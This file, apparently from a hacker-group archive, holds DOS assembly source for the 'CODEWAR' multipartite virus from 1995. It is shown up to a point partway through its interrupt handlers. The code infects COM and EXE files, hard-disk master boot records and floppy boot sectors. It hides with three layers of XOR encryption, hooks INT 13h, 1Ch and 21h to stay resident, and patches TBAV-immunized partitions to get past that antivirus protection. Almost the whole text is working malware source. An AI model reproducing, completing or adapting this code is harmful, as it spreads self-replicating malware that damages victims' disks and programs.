initial push of all stuff :)
[oweals/thc-archive.git] / Papers / codewar.txt
1 ;-------------------------------------------------------------------------\r
2 ;\r
3 ;\r
4 ;\r
5 ;\r
6 ;\r
7 ;\r
8 ;\r
9 ;\r
10 ;\r
11 ;\r
12 ;\r
13 ;                        C O D E W A R  V i r u s\r
14 ;\r
15 ;\r
16 ;                   Programming by Sirius & Mindmaniac\r
17 ;\r
18 ;\r
19 ;                             Germany 1995.\r
20 ;\r
21 ;\r
22 ;\r
23 ;\r
24 ;\r
25 ;\r
26 ;\r
27 ;\r
28 ;\r
29 ;\r
30 ;\r
31 ;\r
32 ;\r
33 ;\r
34 ;\r
35 ;\r
36 ;\r
37 ;\r
38 ;\r
39 ;\r
40 ;\r
41 ;\r
42 ;\r
43 ;\r
44 ;\r
45 ;\r
46 ;\r
47 ;\r
48 ;\r
49 ;\r
50 ;\r
51 ;\r
52 ;\r
53 ;\r
54 ;\r
55 ;\r
56 ;\r
57 ;\r
58 ;\r
59 ;\r
60 ;\r
61 ;\r
62 ;\r
63 ;\r
64 ;\r
65 ;\r
66 ;\r
67 ;\r
68 ;---------------------------------------------------------------------------\r
69 ;\r
70 ;\r
71 ;\r
72 ;  Please note:\r
73 ; --------------\r
74 ;\r
75 ;  This programme introduces into the technique of multipartite viruses.\r
76 ;  Pass to responsible people only!\r
77 ;\r
78 ;\r
79 ;\r
80 ;\r
81 ;\r
82 ;   Features:\r
83 ; -------------\r
84 ;\r
85 ;  - Infection Type: - COM files,\r
86 ;                    - EXE files\r
87 ;                    - Master Boot Record (MBR) on Hard Disk Drives\r
88 ;                    - Boot Sector (BS) on Floppy Disk Drives\r
89 ;                      ( 1.44 Mb + 1.2 Mb )\r
90 ;\r
91 ;\r
92 ;  - Encryption:     3-layer-enryption (generic)\r
93 ;\r
94 ;  - Memory resident (Bootsector virus technique)\r
95 ;\r
96 ;  - Retro features.\r
97 ;\r
98 ;  - Similarities:   Alive (File Virus), Junkie (Multipartite Virus)\r
99 ;\r
100 ;\r
101 ;\r
102 ;\r
103 ;\r
104 ;  Additional Notes:\r
105 ; -------------------\r
106 ;\r
107 ;  Infected objects are not detected by SSC Anti-Virus Scanner and\r
108 ;  Analyzer.\r
109 ;\r
110 ;\r
111 ;\r
112 ;\r
113 ;\r
114 ;\r
115 ;\r
116 ;\r
117 ;\r
118 ;\r
119 ;\r
120 ;\r
121 ;\r
122 ;\r
123 ;\r
124 ;\r
125 ;\r
126 ;\r
127 ;----------------------------------------------------------------------------\r
128 \r
129 \r
130 Ofs             equ     Offset\r
131 Cmt             equ     Comment\r
132 B               equ     byte ptr\r
133 W               equ     word ptr\r
134 \r
135 Directory       STRUC\r
136 DS_Drive        db ?\r
137 DS_File_Name    db 8 dup(0)\r
138 DS_File_Ext     db 3 dup(0)\r
139 DS_File_Attr    db ?\r
140 DS_Reserved     db 10 dup(0)\r
141 DS_Time         dw ?\r
142 DS_Date         dw ?\r
143 DS_Start_Clust  dw ?\r
144 DS_File_Size    dd ?\r
145 Directory       ENDS\r
146 \r
147 FCB             STRUC\r
148 FCB_Drive       db ?\r
149 FCB_File_Name   db 8 dup(0)\r
150 FCB_File_Ext    db 3 dup(0)\r
151 FCB_Block       dw ?\r
152 FCB_Rec_Size    dw ?\r
153 FCB_File_Size   dd ?\r
154 FCB_File_Date   dw ?\r
155 FCB_File_Time   dw ?\r
156 FCB_Reserved    db 8 dup(0)\r
157 FCB_Record      db ?\r
158 FCB_Random      dd ?\r
159 FCB             ENDS\r
160 \r
161 DTA             STRUC\r
162 DTA_Reserved    db 21 dup(0)\r
163 DTA_File_Attr   db ?\r
164 DTA_File_Time1  db ?                    ; = seconds\r
165 DTA_File_Time2  db ?\r
166 DTA_File_Date   dw ?\r
167 DTA_File_Size   dd ?\r
168 DTA_File_Name   db 13 dup(0)\r
169 DTA             ENDS\r
170 \r
171 SFT             STRUC\r
172 SFT_Reserved1   dw ?    ; 0\r
173 SFT_Open_Mode   dw ?    ; 2\r
174 SFT_File_Attr   db ?    ; 4\r
175 SFT_Reserved2   dw ?    ; 5\r
176 SFT_Reserved3   dd ?    ; 7\r
177 SFT_Reserved4   dw ?    ; 11\r
178 SFT_File_Time   dw ?    ; 13\r
179 SFT_File_Date   dw ?    ; 15\r
180 SFT_File_SizeLo dw ?    ; 17\r
181 SFT_File_SizeHi dw ?    ; 19\r
182 SFT_Curr_OfsLo  dw ?    ; 21\r
183 SFT_Curr_OfsHi  dw ?    ; 23\r
184 SFT_Reserved7   dw ?    ; 25\r
185 SFT_Reserved8   dd ?    ; 27\r
186 SFT_Reserved9   db ?    ; 31\r
187 SFT_File_Name   db 8 dup(?)     ; 32 = 20h\r
188 SFT_File_Ext    db 3 dup(?)     ; 40 = 28h\r
189 SFT             ENDS\r
190 \r
191 ExeH            STRUC\r
192 Buf_0h          dw 0    ; "MZ" oder "ZM" (selten)\r
193 Buf_2h          dw 0    ; Last page size\r
194 Buf_4h          dw 0    ; Size in pages\r
195 Buf_6h          dw 0\r
196 Buf_8h          dw 0\r
197 Buf_ah          dw 0\r
198 Buf_ch          dw 0\r
199 Buf_eh          dw 0    ; SS\r
200 Buf_10h         dw 0    ; SP\r
201 Buf_12h         dw 0    ; CheckSum\r
202 Buf_14h         dw 0    ; IP\r
203 Buf_16h         dw 0    ; CS\r
204 Buf_18h         dw 0    ; WINDOWS Marker\r
205 ExeH            ENDS\r
206 \r
207 \r
208 \r
209 Flag_Exec_Infection     equ     1\r
210 \r
211 ofs                     equ     offset\r
212 cmt                     equ     comment\r
213 \r
214 Reloc                   =       ofs Vir_Start\r
215 Camouf                  =       2\r
216 Enc_Word_Length         =       (Virus_Length/2)+1\r
217 Virus_Length            =       4*512\r
218 Header_Length           =       18h\r
219 \r
220 File_Type_COM           =       byte (Restore_COM-File_Type)-2\r
221 File_Type_EXE           =       byte (Restore_EXE-File_Type)-2\r
222 \r
223 Media_Descriptor_144    =       0F0h\r
224 Media_Descriptor_120    =       0F9h\r
225 \r
226 Vir_Len_Sectors         =       4\r
227 \r
228 Vir_Harddisk_Track      =       0\r
229 Vir_Harddisk_Head       =       0\r
230 Vir_Harddisk_Sector     =       4\r
231 \r
232 Vir_Floppy_120_Track    =       79\r
233 Vir_Floppy_120_Head     =       1\r
234 Vir_Floppy_120_Sector   =       6\r
235 \r
236 Vir_Floppy_144_Track    =       79\r
237 Vir_Floppy_144_Head     =       1\r
238 Vir_Floppy_144_Sector   =       15\r
239 \r
240 \r
241 Names_HDD_Track         =       0\r
242 Names_HDD_Head          =       0\r
243 Names_HDD_Sector        =       3\r
244 \r
245 \r
246 ; in bytes\r
247 \r
248 F_Min_LengthCOM         =       3000\r
249 F_Max_LengthCOM         =       50000\r
250 \r
251 ; in pages\r
252 \r
253 F_Min_LengthEXE         =       6               ; = 3 kb\r
254 F_Max_LengthEXE         =       2000            ; = 1000 kb\r
255 \r
256 \r
257 Time_Stamp              =       13\r
258 TOM_Decrement_value     =       5\r
259 \r
260 \r
261         .286\r
262 CODE    SEGMENT BYTE PUBLIC 'CODE'\r
263 ASSUME  CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING\r
264         ORG     0100h\r
265 \r
266 \r
267 Sample:\r
268         jmp     Vir_Start\r
269 \r
270 ;----------------------------------------------------------------------------\r
271 ; allways start at seg:0000\r
272 \r
273         org     100h+ 1*16\r
274 ;----------------------------------------------------------------------------\r
275 \r
276 Vir_Start:\r
277 \r
278 ;----------------------------------------------------------------------------\r
279 ; 1st encryption layer (outer)\r
280 ;----------------------------------------------------------------------------\r
281                 cld\r
282                 mov     CX,Enc_Word_Length\r
283 \r
284                 MOV     bp,1234h\r
285                 ORG     $-2\r
286 E1_Idx_Val      dw      ofs E1_Encrypted_Code\r
287 \r
288                 mov     ax,1234h\r
289                 ORG     $-2\r
290 E1_Key_Val      dw      0\r
291 \r
292                 db      081h,3eh\r
293 E1_Dec_Loop:\r
294                 XOR     Word Ptr cs:[bp],ax\r
295 \r
296                 inc     bp\r
297                 inc     bp\r
298 \r
299                 dec     cx\r
300 \r
301                 or      cx,cx\r
302                 jz      E1_Loop_done\r
303 \r
304                 jmp     short E1_Dec_Loop\r
305                 db      09ah                    ;=CALL FAR\r
306 E1_Loop_done:\r
307 ;----------------------------------------------------------------------------\r
308 \r
309 \r
310 E1_Encrypted_Code:\r
311 \r
312 \r
313 ;----------------------------------------------------------------------------\r
314 ; 2nd encryption layer (inner)\r
315 ;----------------------------------------------------------------------------\r
316                 mov     cx,(Enc_Word_Length/2) +1\r
317 \r
318                 MOV     si,1234h\r
319                 ORG     $-2\r
320 E2_Idx_Val      dw      ofs E2_Encrypted_Code\r
321 \r
322                 mov     ax,1234h\r
323                 ORG     $-2\r
324 E2_Key_Val_1    dw      0\r
325 \r
326                 mov     bx,1234h\r
327                 ORG     $-2\r
328 E2_Key_Val_2    dw      0\r
329 \r
330 E2_Dec_Loop:\r
331                 xor     w cs:[si],ax\r
332                 inc     si\r
333                 inc     si\r
334 \r
335                 xor     w cs:[si],bx\r
336                 inc     si\r
337                 inc     si\r
338 \r
339                 loop    short E2_Dec_Loop\r
340 \r
341 ;----------------------------------------------------------------------------\r
342 \r
343 \r
344 E2_Encrypted_Code:\r
345 \r
346 \r
347 ;----------------------------------------------------------------------------\r
348 ; 3rd encryption layer (innerst)\r
349 ;----------------------------------------------------------------------------\r
350                 mov     cx,(Enc_Word_Length/3)+1\r
351 \r
352                 MOV     si,1234h\r
353                 ORG     $-2\r
354 E3_Idx_Val      dw      ofs E3_Encrypted_Code\r
355 \r
356                 mov     ax,1234h\r
357                 ORG     $-2\r
358 E3_Key_Val_1    dw      0\r
359 \r
360                 mov     bx,1234h\r
361                 ORG     $-2\r
362 E3_Key_Val_2    dw      0\r
363 \r
364                 mov     dx,1234h\r
365                 ORG     $-2\r
366 E3_Key_Val_3    dw      0\r
367 \r
368 E3_Dec_Loop:\r
369                 xor     w cs:[si],ax\r
370                 inc     si\r
371                 inc     si\r
372 \r
373                 xor     w cs:[si],bx\r
374                 inc     si\r
375                 inc     si\r
376 \r
377                 xor     w cs:[si],dx\r
378                 inc     si\r
379                 inc     si\r
380 ;Chg1+2\r
381                 add     ax,1234h\r
382                 ORG     $-2\r
383 E3_Key_Change_1 dw      0\r
384 \r
385                 add     bx,1234h\r
386                 ORG     $-2\r
387 E3_Key_Change_2 dw      0\r
388 \r
389                 loop    short E3_Dec_Loop\r
390 ;----------------------------------------------------------------------------\r
391 \r
392 \r
393 E3_Encrypted_Code:\r
394 \r
395 \r
396 ;----------------------------------------------------------------------------\r
397         cld\r
398         mov     ax,cs\r
399         or      ax,ax\r
400         jnz     Run_file\r
401         jmp     Its_boottime\r
402 ;----------------------------------------------------------------------------\r
403 \r
404 \r
405 \r
406 ;----------------------------------------------------------------------------\r
407 ; Restore program-header, the registers and go back to the program\r
408 \r
409 Exit_File:\r
410                 pop     es ds\r
411 \r
412 \r
413                 db      0EBh                    ; JMP-short-opcode\r
414 File_Type       db      File_Type_COM\r
415 ;----------------------------------------------------------------------------\r
416 \r
417 \r
418 ;----------------------------------------------------------------------------\r
419 ; restore the COM-host-file\r
420 \r
421 Restore_COM:\r
422         MOV     DI,100h\r
423         push    di\r
424 \r
425         MOV     Word Ptr cs:[DI],1234h\r
426         ORG     $-2\r
427 Rest1   dw      0c3c3h\r
428 \r
429         MOV     byte Ptr cs:[DI+2],12h\r
430         ORG     $-1\r
431 Rest2   db      0c3h\r
432 \r
433 ZeroRegsForHost:\r
434         mov     cx,8\r
435 nullup: push    0\r
436         loop    nullup\r
437         popa\r
438 \r
439         ret\r
440 ;----------------------------------------------------------------------------\r
441 \r
442 \r
443 ;----------------------------------------------------------------------------\r
444 ; restore the EXE-host-file\r
445 \r
446 Restore_EXE:\r
447         mov     ax,ds                           ; DS = PSP !\r
448         add     ax,10h                          ; + 100h bytes of PSP\r
449         add     cs:[bx+ofs Old_CS -Reloc],ax    ; = new CS\r
450         add     ax,0000                         ; + old SS\r
451         org     $-2\r
452 Old_SS  dw      ?\r
453         cli\r
454         mov     ss,ax                           ; set SS\r
455         mov     sp,0000                         ; set SP\r
456         org     $-2\r
457 Old_SP  dw      ?\r
458         sti\r
459 \r
460         call    ZeroRegsForHost\r
461 \r
462         db      0EAh                            ; = JMP Old_CS:Old_IP\r
463 \r
464 ; In an EXE - header-values are stored here\r
465 \r
466 Old_ExeValues:\r
467 Old_IP          dw      0\r
468 Old_CS          dw      0\r
469 ;----------------------------------------------------------------------------\r
470 \r
471 \r
472         db      " PSYCHo-TECH GMBH 1995 "\r
473 \r
474 ;----------------------------------------------------------------------------\r
475 Run_File:\r
476 \r
477 ; relocate\r
478         CALL    Delta\r
479 Delta:\r
480         POP     BX\r
481         SUB     BX,1234h\r
482         ORG     $-2\r
483         dw      ofs Delta -Reloc\r
484 \r
485 ; save PSP\r
486         push    ds es\r
487 \r
488 \r
489 ; assume segments\r
490         push    cs cs\r
491         pop     ds es\r
492 \r
493 ; prepare the retf to Exit_File\r
494 \r
495         push    cs\r
496         lea     ax,cs:[bx+ofs Exit_File -Reloc]\r
497         push    ax\r
498 \r
499 ; change CS, so we start at ofs 0 not 100h\r
500 \r
501         mov     ax,cs\r
502         SHR     BX,4\r
503         ADD     AX,BX\r
504         PUSH    AX\r
505         MOV     AX,ofs Continue -Reloc\r
506         PUSH    AX\r
507         RETF\r
508 ;----------------------------------------------------------------------------\r
509 \r
510 \r
511 \r
512 ;----------------------------------------------------------------------------\r
513 Gag:\r
514         push    ax ds\r
515         in      al,40h\r
516         test    al,1\r
517         jz      Skip_Gag\r
518 \r
519         mov     ax,0b800h\r
520         mov     ds,ax\r
521         mov     word ptr ds:[(79*2)],00cf9h     ;= lightred point "ù"\r
522 Skip_Gag:\r
523         pop     ds ax\r
524         ret\r
525 ;----------------------------------------------------------------------------\r
526 \r
527 \r
528 \r
529 ;----------------------------------------------------------------------------\r
530 Its_boottime:\r
531 \r
532         call    Gag\r
533 \r
534         xor     di,di\r
535         MOV     DS,DI\r
536 \r
537         mov     si,7c00h+512\r
538 \r
539 ; decrement RAM by xx kB\r
540 \r
541         SUB     Word Ptr DS:[0413h],TOM_Decrement_value\r
542         MOV     AX,DS:[0413h]\r
543         MOV     BX,40h\r
544         MUL     BX\r
545         MOV     ES,AX\r
546 \r
547 ; move virus to TOM (xxxx bytes)\r
548 \r
549         MOV     CX,Virus_Length\r
550         CLD\r
551         REPZ    MOVSB\r
552 \r
553 ; set new INT 13h and 1Ch\r
554 \r
555         CLI\r
556 \r
557         MOV     SI,4*13h\r
558         MOV     DI,ofs Old_Int_13 -Reloc\r
559         MOV     AX,ofs New_Int_13 -Reloc\r
560         CALL    Get_Set_Int\r
561 \r
562         MOV     Byte Ptr ES:[ofs Got_Int_21 -Reloc],0\r
563 \r
564         MOV     SI,4*1ch\r
565         MOV     DI,ofs Old_Int_1c -Reloc\r
566         MOV     AX,ofs New_Int_1c -Reloc\r
567         CALL    Get_Set_Int\r
568 \r
569         STI\r
570 \r
571 ; save INT 21h\r
572 \r
573         MOV     DI,ofs Old_Int_21 -Reloc\r
574         MOV     SI,4*21h\r
575         MOVSW\r
576         MOVSW\r
577 \r
578         mov     di,7c00h\r
579 \r
580 ; prepare RETF to orig PAR/BS\r
581 \r
582         PUSH    CS      ;=0\r
583         PUSH    DI      ;=7c00h\r
584 \r
585         push    es\r
586         push    ofs Boot_Finish -Reloc\r
587 \r
588         PUSH    CS\r
589         POP     ES\r
590 \r
591 ; restore the JUMP-Word and the patched PAR/BS\r
592 \r
593         MOV     SI,7c00h + 512 + BS_First_word -Reloc\r
594         MOVSW\r
595 \r
596         mov     di,7c00h + 60h   ; offset of the patch-area\r
597         CALL    Call_Move_20\r
598 \r
599 ; Patch the TBAV immunized partition\r
600 \r
601         cmp     w cs:[7c00h+0dfh],"hT"\r
602         jne     no_TB_partition\r
603         mov     b cs:[7c00h+73h],0\r
604 \r
605 no_TB_partition:\r
606 \r
607 ; goto Boot_Finish / infect C:\r
608 \r
609         retf\r
610 ;----------------------------------------------------------------------------\r
611 \r
612 \r
613 ;----------------------------------------------------------------------------\r
614 New_Int_13:\r
615 \r
616         cmp     ax,0201h                        ; reading ?\r
617         JNZ     Jump_Old_Int_13\r
618 \r
619         CMP     CX,0001h                        ; sector 1 and Track 0 ?\r
620         JNZ     Jump_Old_Int_13\r
621 \r
622         or      dh,dh                           ; head 0 ?\r
623         jnz     Jump_Old_Int_13\r
624 \r
625         pusha\r
626         PUSH    DS\r
627         PUSH    ES\r
628 \r
629         CALL    Int13_Works\r
630 \r
631         POP     ES\r
632         POP     DS\r
633         popa\r
634 \r
635 Jump_Old_Int_13:\r
636         jmp     dword ptr cs:(ofs Old_Int_13 -Reloc)\r
637 \r
638 ;----------------------------------------------------------------------------\r
639 \r
640 \r
641 \r
642 ;----------------------------------------------------------------------------\r
643 Call_Old_Int_13:\r
644         PUSHF\r
645         call    dword ptr cs:(ofs Old_Int_13 -Reloc)\r
646         RET\r
647 ;----------------------------------------------------------------------------\r
648 \r
649 \r
650         db      " >>> BRAVEd DANGER 4 BRAVE PEOPLe <<< "\r
651 \r
652 \r
653 ;----------------------------------------------------------------------------\r
654 Continue:\r
655         PUSH    DS\r
656         PUSH    ES\r
657 \r
658         XOR     AX,AX\r
659         MOV     DS,AX\r
660 \r
661         PUSH    CS\r
662         POP     ES\r
663 \r
664 ; save int 13h\r
665 \r
666         MOV     DI,ofs Old_Int_13 -Reloc\r
667         MOV     SI,4*13h\r
668         CLD\r
669         MOVSW\r
670         MOVSW\r
671         JMP     Short Read_Drive_C\r
672 ;----------------------------------------------------------------------------\r
673 \r
674 \r
675 ;----------------------------------------------------------------------------\r
676 Boot_Finish:\r
677         PUSH    DS\r
678         PUSH    ES\r
679 ;----------------------------------------------------------------------------\r
680 \r
681 \r
682 ;----------------------------------------------------------------------------\r
683 Read_Drive_C:\r
684         MOV     AH,02h\r
685         MOV     DL,80h\r
686 \r
687         CALL    Int13_Works     ; infect drive C\r
688 \r
689         POP     ES\r
690         POP     DS\r
691 \r
692         XOR     AX,AX\r
693         XOR     BX,BX\r
694         retf\r
695 ;----------------------------------------------------------------------------\r
696 \r
697 \r
698 ;----------------------------------------------------------------------------\r
699 Int13_Works:\r
700 \r
701         PUSH    CS\r
702         POP     DS\r
703         PUSH    CS\r
704         POP     ES\r
705 \r
706         CALL    Read_or_Write_BS_from_A\r
707         jnb     oky                             ; Goto_Ret\r
708         jmp     Goto_Ret\r
709 oky:\r
710 \r
711 \r
712         MOV     DI,ofs Buffer + 60h -Reloc\r
713 \r
714 ; check if BS is infected\r
715 \r
716         CMP     Word Ptr [SI],05EEBh    ; SI=@buffer\r
717         JNZ     BS_not_infected\r
718 \r
719         CMP     Word Ptr [DI],0FF33h    ; == xor di,di\r
720         JZ      Goto_Ret\r
721 \r
722 BS_not_infected:\r
723 \r
724 ; test if it is Harddisk or floppy\r
725 \r
726         cmp     dl,79h\r
727         ja      Not_Floppy\r
728 \r
729 \r
730 ; test if HD 1.44 (=F0) or HD 1.2 (=F9) floppy\r
731 \r
732         CMP     Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_144\r
733         JZ      Found_ID_F0\r
734 \r
735         CMP     Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_120\r
736         JNZ     Goto_Ret\r
737 \r
738 Large_floppy:\r
739         MOV     CL,Vir_Floppy_120_Sector\r
740         JMP     Short Floppy_Disk\r
741 ;----------------------------------------------------------------------------\r
742 \r
743 \r
744 ;----------------------------------------------------------------------------\r
745 ; 1.44 floppy found\r
746 \r
747 Found_ID_F0:\r
748         MOV     AX,40h\r
749         MOV     DS,AX\r
750 \r
751 ; 0:490h == AT Drive 0 status\r
752 \r
753         CMP     Byte Ptr DS:[0090h],97h\r
754         JZ      Large_Floppy\r
755 \r
756 ; it is 1.44 Mb\r
757 \r
758         MOV     CL,Vir_Floppy_144_Sector\r
759 \r
760 Floppy_Disk:\r
761         PUSH    CS\r
762         POP     DS\r
763 \r
764         MOV     CH,Vir_Floppy_120_Track\r
765         JMP     Short Head_01\r
766 ;----------------------------------------------------------------------------\r
767 \r
768 \r
769 ;----------------------------------------------------------------------------\r
770 Not_floppy:\r
771         MOV     CX,Vir_Harddisk_Sector\r
772         JMP     Short Head_00\r
773 ;----------------------------------------------------------------------------\r
774 \r
775 \r
776 ;----------------------------------------------------------------------------\r
777 Head_01:\r
778         MOV     DH,Vir_Floppy_120_Head\r
779 Head_00:\r
780         MOV     DS:[ofs Ptc_CX -Reloc],CX   ; patch the PAR\r
781         MOV     DS:[ofs Ptc_DX -Reloc],DX\r
782 \r
783         PUSH    DX\r
784         PUSH    CX\r
785         PUSH    SI\r
786         PUSH    DI\r
787 \r
788 ; Move the JMP-Op to the beginning of BS/PAR\r
789 \r
790         MOV     DI,ofs BS_first_word -Reloc     ; SI=ofs buffer\r
791         MOVSW\r
792         POP     SI\r
793 \r
794         CALL    Call_Move_20\r
795 \r
796         MOV     SI,DI\r
797         POP     DI\r
798         MOVSW\r
799 \r
800         add     di,60h-2\r
801         CALL    Call_Move_20                    \r
802 \r
803 ; write BS\r
804 \r
805         MOV     AX,0301h\r
806         PUSH    AX\r
807         CALL    Read_or_Write_BS_from_A\r
808 \r
809         POP     AX\r
810         POP     CX\r
811         POP     DX\r
812 \r
813         MOV     AL,Vir_Len_Sectors\r
814         MOV     BX,ofs Buffer -Reloc\r
815         JB      Goto_Ret\r
816 \r
817 \r
818         MOV     Word Ptr DS:[ofs E1_Idx_Val -Reloc],7c00h +512+E1_Encrypted_Code -Reloc -Camouf\r
819         MOV     Word Ptr DS:[ofs E2_Idx_Val -Reloc],7c00h +512+E2_Encrypted_Code -Reloc\r
820         MOV     Word Ptr DS:[ofs E3_Idx_Val -Reloc],7c00h +512+E3_Encrypted_Code -Reloc\r
821 \r
822 \r
823         CALL    Encrypt_Virus\r
824 \r
825         CALL    Call_Old_Int_13\r
826 Goto_Ret:\r
827         RET\r
828 ;----------------------------------------------------------------------------\r
829 \r
830 \r
831 ;----------------------------------------------------------------------------\r
832 ; read the PAR/BS from drive\r
833 ;----------------------------------------------------------------------------\r
834 \r
835 Read_or_Write_BS_from_A:\r
836         MOV     AL,01h\r
837         MOV     CX,0001h\r
838         MOV     DH,0\r
839         MOV     BX,ofs Buffer -Reloc\r
840         MOV     SI,BX\r
841 \r
842         PUSH    DX\r
843         CALL    Call_Old_Int_13\r
844         POP     DX\r
845 \r
846         RET\r
847 ;----------------------------------------------------------------------------\r
848 \r
849 \r
850 ;----------------------------------------------------------------------------\r
851 Call_Move_20:\r
852         MOV     CX,32\r
853         CLD\r
854         REPZ    MOVSb\r
855         RET\r
856 ;----------------------------------------------------------------------------\r
857 \r
858 \r
859 ;----------------------------------------------------------------------------\r
860 Get_Set_Int:\r
861 \r
862         PUSH    SI\r
863         MOVSW\r
864         MOVSW\r
865         POP     SI\r
866         MOV     [SI],AX\r
867         MOV     [SI+2],ES\r
868         RET\r
869 ;----------------------------------------------------------------------------\r
870 \r
871 \r
872 \r
873 ;----------------------------------------------------------------------------\r
874 Get_Random:\r
875 \r
876 ;;        xor     ax,ax\r
877 ;;        ret\r
878 \r
879         push    cx dx\r
880 \r
881         in      al,40h\r
882         mov     cl,al\r
883 \r
884         xor     ax,ax\r
885         int     1ah\r
886 \r
887         in      al,40h\r
888         mov     ah,al\r
889 \r
890         in      al,40h\r
891         rol     ax,cl\r
892 \r
893         pop     dx cx\r
894         ret\r
895 ;----------------------------------------------------------------------------\r
896 \r
897 \r
898 \r
899 ;============================================================================\r
900 Encrypt_Virus:\r
901 \r
902         pusha\r
903         push    ds es\r
904 \r
905 ; get (random) key-values\r
906 \r
907 ; L1\r
908         call    Get_Random\r
909         MOV     word ptr cs:[ofs E1_Key_Val -Reloc],ax\r
910 \r
911 ; L2\r
912         call    Get_Random\r
913         MOV     word ptr cs:[ofs E2_Key_Val_1 -Reloc],ax\r
914 \r
915         call    Get_Random\r
916         MOV     word ptr cs:[ofs E2_Key_Val_2 -Reloc],ax\r
917 \r
918 ; L3\r
919         call    Get_Random\r
920         MOV     word ptr cs:[ofs E3_Key_Val_1 -Reloc],ax\r
921 \r
922         call    Get_Random\r
923         MOV     word ptr cs:[ofs E3_Key_Val_2 -Reloc],ax\r
924 \r
925         call    Get_Random\r
926         MOV     word ptr cs:[ofs E3_Key_Val_3 -Reloc],ax\r
927 \r
928         call    Get_Random\r
929         MOV     word ptr cs:[ofs E3_Key_Change_1 -Reloc],ax\r
930 \r
931         call    Get_Random\r
932         MOV     word ptr cs:[ofs E3_Key_Change_2 -Reloc],ax\r
933 \r
934 \r
935 ; move bytes\r
936 \r
937         PUSH    CS\r
938         POP     ES\r
939 \r
940         MOV     SI,1234h\r
941         org     $-2\r
942         dw      0\r
943 \r
944         MOV     DI,ofs Buffer -Reloc\r
945         MOV     CX,(ofs Encrypted_Code_End - ofs Vir_Start)\r
946         REPZ    MOVSB\r
947 \r
948 \r
949 ; fill\r
950 \r
951         pusha\r
952         mov     cx,2*80\r
953 Fill_random:\r
954         in      al,40h\r
955         cld\r
956         stosb\r
957         loop    Fill_random\r
958         popa\r
959 \r
960 \r
961 ;----------------------------------------------------------------------------\r
962 ; encrypt innerst layer E3\r
963 \r
964         MOV     w ax,cs:[ofs E3_Key_Val_1 -Reloc]\r
965         MOV     w bx,cs:[ofs E3_Key_Val_2 -Reloc]\r
966         MOV     w dx,cs:[ofs E3_Key_Val_3 -Reloc]\r
967 \r
968 ;chg1+2\r
969         MOV     w di,cs:[ofs E3_Key_Change_1 -Reloc]\r
970         MOV     w bp,cs:[ofs E3_Key_Change_2 -Reloc]\r
971 \r
972         MOV     si,ofs Buffer -Reloc\r
973         ADD     si,ofs E3_Encrypted_Code -Reloc\r
974 \r
975         MOV     CX,(Enc_Word_Length/3) +1\r
976 \r
977 C3_Enc_Loop:\r
978         XOR     cs:[si],ax\r
979         INC     si\r
980         INC     si\r
981 \r
982         XOR     cs:[si],bx\r
983         INC     si\r
984         INC     si\r
985 \r
986         XOR     cs:[si],dx\r
987         INC     si\r
988         INC     si\r
989 ;chg1\r
990         add     ax,di\r
991 ;chg2\r
992         add     bx,bp\r
993 \r
994         LOOP    C3_Enc_Loop\r
995 ;----------------------------------------------------------------------------\r
996 \r
997 \r
998 \r
999 ;----------------------------------------------------------------------------\r
1000 ; encrypt inner layer E2\r
1001 \r
1002         MOV     w ax,cs:[ofs E2_Key_Val_1 -Reloc]\r
1003         MOV     w bx,cs:[ofs E2_Key_Val_2 -Reloc]\r
1004 \r
1005         MOV     si,ofs Buffer -Reloc\r
1006         ADD     si,ofs E2_Encrypted_Code -Reloc\r
1007 \r
1008         MOV     CX,(Enc_Word_Length/2) +1\r
1009 \r
1010 C2_Enc_Loop:\r
1011         XOR     cs:[si],ax\r
1012         INC     si\r
1013         INC     si\r
1014 \r
1015         XOR     cs:[si],bx\r
1016         INC     si\r
1017         INC     si\r
1018 \r
1019         LOOP    C2_Enc_Loop\r
1020 ;----------------------------------------------------------------------------\r
1021 \r
1022 \r
1023 \r
1024 ;----------------------------------------------------------------------------\r
1025 ; encrypt outer layer E1\r
1026 \r
1027         MOV     word ptr bx,cs:[ofs E1_Key_Val -Reloc]\r
1028 \r
1029         MOV     DI,ofs Buffer -Reloc\r
1030         ADD     DI,ofs E1_Encrypted_Code -Reloc\r
1031 \r
1032         MOV     CX,Enc_Word_Length\r
1033 \r
1034 Enc_Loop:\r
1035         XOR     cs:[DI],BX\r
1036         INC     DI\r
1037         INC     DI\r
1038         LOOP    Enc_Loop\r
1039 ;----------------------------------------------------------------------------\r
1040 \r
1041 \r
1042 Mult_POP:\r
1043         pop     es ds\r
1044         popa\r
1045 \r
1046         RET\r
1047 ;============================================================================\r
1048 \r
1049 \r
1050 \r
1051 ;----------------------------------------------------------------------------\r
1052 New_Int_1c:\r
1053         CMP     Byte Ptr CS:[ofs Got_Int_21 -Reloc],1\r
1054         JZ      Jump_Int_1c\r
1055 \r
1056         pusha\r
1057         push    ds es\r
1058 \r
1059         MOV     SI,4*21h\r
1060         XOR     AX,AX\r
1061         MOV     DS,AX\r
1062 \r
1063 ; load int 20h seg and compare if below 800h\r
1064 \r
1065         MOV     AX,DS:[4*20h +2]\r
1066 \r
1067         CMP     AX,0000h\r
1068         JZ      Exit_Int_1c\r
1069 \r
1070         CMP     AX,800h\r
1071         JA      Exit_Int_1c\r
1072 \r
1073 ; cmp with int 21h seg\r
1074 \r
1075         CMP     [SI+02h],AX\r
1076         JNZ     Exit_Int_1c\r
1077 \r
1078 ; cmp with int 27h seg\r
1079 \r
1080         CMP     DS:[4*27h +2],AX\r
1081         JNZ     Exit_Int_1c\r
1082 \r
1083 ; cmp with int 2Fh seg\r
1084 \r
1085         CMP     DS:[4*2Fh +2],AX\r
1086         JNZ     Exit_Int_1c\r
1087 \r
1088 ; ok, now hook int 21h\r
1089 \r
1090         CLI\r
1091         MOV     DI,ofs Old_Int_21 -Reloc\r
1092         PUSH    CS\r
1093         POP     ES\r
1094         MOV     AX,ofs New_Int_21 -Reloc\r
1095         CALL    Get_Set_Int\r
1096 \r
1097 ; set the flag for it\r
1098         MOV     Byte Ptr CS:[ofs Got_Int_21 -Reloc],01h\r
1099         STI\r
1100 \r
1101 ; get int 2f vector\r
1102 \r
1103         push    0\r
1104         pop     ds\r
1105         mov     w ax,ds:[4*2fh]\r
1106         mov     w cs:[ofs Old_Int_2f -Reloc],ax\r
1107         mov     w ax,ds:[4*2fh+2]\r
1108         mov     w cs:[ofs Old_Int_2f -Reloc+2],ax\r
1109 \r
1110 \r
1111 \r
1112 Exit_Int_1c:\r
1113 \r
1114         pop     es ds\r
1115         popa\r
